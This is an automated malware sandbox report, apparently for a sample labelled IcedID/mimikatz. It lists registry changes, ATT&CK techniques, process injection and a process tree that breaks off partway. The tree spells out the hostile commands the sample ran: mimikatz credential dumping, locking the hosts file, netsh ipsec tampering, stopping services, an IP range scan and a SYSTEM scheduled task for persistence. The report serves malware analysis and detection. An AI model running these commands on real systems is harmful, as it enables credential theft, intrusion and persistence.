Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2024-09-07_487d9e5a77a44f9410b6ab4ac3022fc9_hacktools_icedid_mimikatz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	glithlcwh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wpcap.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	euiugba.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	euiugba.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zefhau.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xohudmc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2308	cmd.exe
3344	PING.EXE

NSIS installer 3 IoCs

installer

resource	yara_rule
behavioral2/files/0x00070000000234b3-6.dat	nsis_installer_2
behavioral2/files/0x00080000000234c4-15.dat	nsis_installer_1
behavioral2/files/0x00080000000234c4-15.dat	nsis_installer_2

Modifies data under HKEY_USERS 45 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	wewhpbpmh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	wewhpbpmh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	wewhpbpmh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	wewhpbpmh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	wewhpbpmh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	wewhpbpmh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	wewhpbpmh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	wewhpbpmh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	euiugba.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	wewhpbpmh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	wewhpbpmh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	wewhpbpmh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	wewhpbpmh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	wewhpbpmh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	euiugba.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	euiugba.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	euiugba.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	wewhpbpmh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	wewhpbpmh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	wewhpbpmh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	wewhpbpmh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	wewhpbpmh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	wewhpbpmh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	wewhpbpmh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals	wewhpbpmh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	wewhpbpmh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	wewhpbpmh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	wewhpbpmh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	wewhpbpmh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	wewhpbpmh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	wewhpbpmh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	wewhpbpmh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	wewhpbpmh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	wewhpbpmh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	euiugba.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	wewhpbpmh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	wewhpbpmh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	wewhpbpmh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	wewhpbpmh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	wewhpbpmh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	euiugba.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	wewhpbpmh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	wewhpbpmh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	wewhpbpmh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	wewhpbpmh.exe

Modifies registry class 14 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile"	euiugba.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile"	euiugba.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\	euiugba.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\	euiugba.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\	euiugba.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile"	euiugba.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\	euiugba.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile"	euiugba.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\	euiugba.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\	euiugba.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile"	euiugba.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\	euiugba.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile"	euiugba.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile"	euiugba.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3344	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1740	schtasks.exe
2536	schtasks.exe
4460	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe

Suspicious behavior: LoadsDriver 15 IoCs

pid	Process
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
4364	2024-09-07_487d9e5a77a44f9410b6ab4ac3022fc9_hacktools_icedid_mimikatz.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	4364	2024-09-07_487d9e5a77a44f9410b6ab4ac3022fc9_hacktools_icedid_mimikatz.exe
Token: SeDebugPrivilege	2428	euiugba.exe
Token: SeDebugPrivilege	2212	euiugba.exe
Token: SeDebugPrivilege	1108	vfshost.exe
Token: SeDebugPrivilege	216	wewhpbpmh.exe
Token: SeLockMemoryPrivilege	5088	pctkcm.exe
Token: SeLockMemoryPrivilege	5088	pctkcm.exe
Token: SeDebugPrivilege	4040	wewhpbpmh.exe
Token: SeDebugPrivilege	1172	wewhpbpmh.exe
Token: SeDebugPrivilege	4552	wewhpbpmh.exe
Token: SeDebugPrivilege	1620	wewhpbpmh.exe
Token: SeDebugPrivilege	3172	wewhpbpmh.exe
Token: SeDebugPrivilege	4280	wewhpbpmh.exe
Token: SeDebugPrivilege	4712	wewhpbpmh.exe
Token: SeDebugPrivilege	4572	wewhpbpmh.exe
Token: SeDebugPrivilege	4932	wewhpbpmh.exe
Token: SeDebugPrivilege	3660	wewhpbpmh.exe
Token: SeDebugPrivilege	3756	wewhpbpmh.exe
Token: SeDebugPrivilege	4564	wewhpbpmh.exe
Token: SeDebugPrivilege	1096	wewhpbpmh.exe
Token: SeDebugPrivilege	5100	wewhpbpmh.exe
Token: SeDebugPrivilege	2440	wewhpbpmh.exe
Token: SeDebugPrivilege	2208	wewhpbpmh.exe
Token: SeDebugPrivilege	5012	wewhpbpmh.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
4364	2024-09-07_487d9e5a77a44f9410b6ab4ac3022fc9_hacktools_icedid_mimikatz.exe
4364	2024-09-07_487d9e5a77a44f9410b6ab4ac3022fc9_hacktools_icedid_mimikatz.exe
2428	euiugba.exe
2428	euiugba.exe
2212	euiugba.exe
2212	euiugba.exe
1432	xohudmc.exe
1988	zefhau.exe
2560	euiugba.exe
2560	euiugba.exe
3184	euiugba.exe
3184	euiugba.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4364 wrote to memory of 2308	4364	2024-09-07_487d9e5a77a44f9410b6ab4ac3022fc9_hacktools_icedid_mimikatz.exe	85
PID 4364 wrote to memory of 2308	4364	2024-09-07_487d9e5a77a44f9410b6ab4ac3022fc9_hacktools_icedid_mimikatz.exe	85
PID 4364 wrote to memory of 2308	4364	2024-09-07_487d9e5a77a44f9410b6ab4ac3022fc9_hacktools_icedid_mimikatz.exe	85
PID 2308 wrote to memory of 3344	2308	cmd.exe	87
PID 2308 wrote to memory of 3344	2308	cmd.exe	87
PID 2308 wrote to memory of 3344	2308	cmd.exe	87
PID 2308 wrote to memory of 2428	2308	cmd.exe	93
PID 2308 wrote to memory of 2428	2308	cmd.exe	93
PID 2308 wrote to memory of 2428	2308	cmd.exe	93
PID 2212 wrote to memory of 1364	2212	euiugba.exe	95
PID 2212 wrote to memory of 1364	2212	euiugba.exe	95
PID 2212 wrote to memory of 1364	2212	euiugba.exe	95
PID 1364 wrote to memory of 4436	1364	cmd.exe	97
PID 1364 wrote to memory of 4436	1364	cmd.exe	97
PID 1364 wrote to memory of 4436	1364	cmd.exe	97
PID 1364 wrote to memory of 3936	1364	cmd.exe	98
PID 1364 wrote to memory of 3936	1364	cmd.exe	98
PID 1364 wrote to memory of 3936	1364	cmd.exe	98
PID 1364 wrote to memory of 4520	1364	cmd.exe	99
PID 1364 wrote to memory of 4520	1364	cmd.exe	99
PID 1364 wrote to memory of 4520	1364	cmd.exe	99
PID 1364 wrote to memory of 2008	1364	cmd.exe	100
PID 1364 wrote to memory of 2008	1364	cmd.exe	100
PID 1364 wrote to memory of 2008	1364	cmd.exe	100
PID 1364 wrote to memory of 3560	1364	cmd.exe	101
PID 1364 wrote to memory of 3560	1364	cmd.exe	101
PID 1364 wrote to memory of 3560	1364	cmd.exe	101
PID 1364 wrote to memory of 4340	1364	cmd.exe	102
PID 1364 wrote to memory of 4340	1364	cmd.exe	102
PID 1364 wrote to memory of 4340	1364	cmd.exe	102
PID 2212 wrote to memory of 64	2212	euiugba.exe	106
PID 2212 wrote to memory of 64	2212	euiugba.exe	106
PID 2212 wrote to memory of 64	2212	euiugba.exe	106
PID 2212 wrote to memory of 4404	2212	euiugba.exe	108
PID 2212 wrote to memory of 4404	2212	euiugba.exe	108
PID 2212 wrote to memory of 4404	2212	euiugba.exe	108
PID 2212 wrote to memory of 2404	2212	euiugba.exe	110
PID 2212 wrote to memory of 2404	2212	euiugba.exe	110
PID 2212 wrote to memory of 2404	2212	euiugba.exe	110
PID 2212 wrote to memory of 4908	2212	euiugba.exe	114
PID 2212 wrote to memory of 4908	2212	euiugba.exe	114
PID 2212 wrote to memory of 4908	2212	euiugba.exe	114
PID 4908 wrote to memory of 3504	4908	cmd.exe	116
PID 4908 wrote to memory of 3504	4908	cmd.exe	116
PID 4908 wrote to memory of 3504	4908	cmd.exe	116
PID 3504 wrote to memory of 2244	3504	wpcap.exe	117
PID 3504 wrote to memory of 2244	3504	wpcap.exe	117
PID 3504 wrote to memory of 2244	3504	wpcap.exe	117
PID 2244 wrote to memory of 2424	2244	net.exe	119
PID 2244 wrote to memory of 2424	2244	net.exe	119
PID 2244 wrote to memory of 2424	2244	net.exe	119
PID 3504 wrote to memory of 4384	3504	wpcap.exe	120
PID 3504 wrote to memory of 4384	3504	wpcap.exe	120
PID 3504 wrote to memory of 4384	3504	wpcap.exe	120
PID 4384 wrote to memory of 3232	4384	net.exe	122
PID 4384 wrote to memory of 3232	4384	net.exe	122
PID 4384 wrote to memory of 3232	4384	net.exe	122
PID 3504 wrote to memory of 3148	3504	wpcap.exe	123
PID 3504 wrote to memory of 3148	3504	wpcap.exe	123
PID 3504 wrote to memory of 3148	3504	wpcap.exe	123
PID 3148 wrote to memory of 4932	3148	net.exe	125
PID 3148 wrote to memory of 4932	3148	net.exe	125
PID 3148 wrote to memory of 4932	3148	net.exe	125
PID 3504 wrote to memory of 4176	3504	wpcap.exe	126

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2156
- C:\Windows\TEMP\tzgyhthhu\pctkcm.exe
  "C:\Windows\TEMP\tzgyhthhu\pctkcm.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:5088

C:\Users\Admin\AppData\Local\Temp\2024-09-07_487d9e5a77a44f9410b6ab4ac3022fc9_hacktools_icedid_mimikatz.exe
"C:\Users\Admin\AppData\Local\Temp\2024-09-07_487d9e5a77a44f9410b6ab4ac3022fc9_hacktools_icedid_mimikatz.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4364
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\gezmcuhh\euiugba.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2308
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3344
- - C:\Windows\gezmcuhh\euiugba.exe
    C:\Windows\gezmcuhh\euiugba.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:2428

C:\Windows\gezmcuhh\euiugba.exe
C:\Windows\gezmcuhh\euiugba.exe
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2212
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1364
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4436
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    PID:3936
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:4520
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    PID:2008
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3560
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    PID:4340
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static del all
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:64
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add policy name=Bastards description=FuckingBastards
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4404
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filteraction name=BastardsList action=block
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2404
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\thgpqiiyn\zymuetvrm\wpcap.exe /S
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4908
- - C:\Windows\thgpqiiyn\zymuetvrm\wpcap.exe
    C:\Windows\thgpqiiyn\zymuetvrm\wpcap.exe /S
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in System32 directory
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3504
  - - C:\Windows\SysWOW64\net.exe
      net stop "Boundary Meter"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2244
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "Boundary Meter"
        5⤵
        
        PID:2424
  - - C:\Windows\SysWOW64\net.exe
      net stop "TrueSight Meter"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4384
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "TrueSight Meter"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3232
  - - C:\Windows\SysWOW64\net.exe
      net stop npf
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3148
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop npf
        5⤵
        
        PID:4932
  - - C:\Windows\SysWOW64\net.exe
      net start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:4176
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start npf
        5⤵
        
        PID:2964
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  - System Location Discovery: System Language Discovery
  PID:708
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3936
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:4520
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3956
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1348
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:3564
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\thgpqiiyn\zymuetvrm\glithlcwh.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\thgpqiiyn\zymuetvrm\Scant.txt
  2⤵
  - System Location Discovery: System Language Discovery
  PID:992
- - C:\Windows\thgpqiiyn\zymuetvrm\glithlcwh.exe
    C:\Windows\thgpqiiyn\zymuetvrm\glithlcwh.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\thgpqiiyn\zymuetvrm\Scant.txt
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:208
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\thgpqiiyn\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\thgpqiiyn\Corporate\log.txt
  2⤵
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  PID:2328
- - C:\Windows\thgpqiiyn\Corporate\vfshost.exe
    C:\Windows\thgpqiiyn\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:1108
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "pazzgwtck" /ru system /tr "cmd /c C:\Windows\ime\euiugba.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1052
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4828
- - C:\Windows\SysWOW64\schtasks.exe
